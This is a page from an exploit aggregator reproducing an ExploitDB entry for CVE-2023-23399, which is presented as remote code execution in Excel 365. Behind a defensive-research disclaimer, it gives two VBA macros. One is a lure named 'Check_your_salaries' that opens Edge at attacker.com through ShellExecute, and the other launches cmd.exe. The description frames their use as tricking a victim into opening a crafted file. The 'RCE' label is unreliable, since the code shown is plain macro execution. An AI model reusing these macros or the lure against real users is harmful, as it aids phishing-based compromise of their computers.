Materialized exploit

CVE-2023-23399

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB remote multiple

Source

Microsoft Excel 365 MSO (Version 2302 Build 16.0.16130.20186) 64-bit - Remote Code Execution (RCE)

By nu11secur1ty

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

Code txt

## Exploit Title: Microsoft Excel 365 MSO (Version 2302 Build 16.0.16130.20186) 64-bit - Remote Code Execution (RCE)
## Exploit Author: nu11secur1ty
## Date: 03.16.2023
## Vendor: https://www.microsoft.com/en-us/microsoft-365/excel
## Software: https://www.microsoft.com/en-us/microsoft-365/excel
## Reference: https://www.invicti.com/learn/remote-code-execution-rce/
## CVE ID: CVE-2023-23399

## Description:
The malicious user can exploit the victim's PC remotely.
For example, when the score indicates that the Attack Vector is Local
and User Interaction is Required, this could describe an exploit in
which an attacker, through social engineering, convinces a victim to
download and open a specially crafted file from a website which leads
to a local attack on their computer.

STATUS: HIGH Vulnerability

[+]Exploit0:
```
Sub Check_your_salaries()
CreateObject("Shell.Application").ShellExecute
"microsoft-edge:https://attacker.com"
End Sub
```
[+]Exploit1:
```
Sub cmd()
Dim Program As String
Dim TaskID As Double
On Error Resume Next
Program = "cmd.exe"
TaskID = Shell(Program, 1)
If Err <> 0 Then
MsgBox "Can't start " & Program
End If
End Sub
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-23399)

## Proof and Exploit:
[href](https://streamable.com/dnyfx0)

## Time spend:
03:00:00


--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>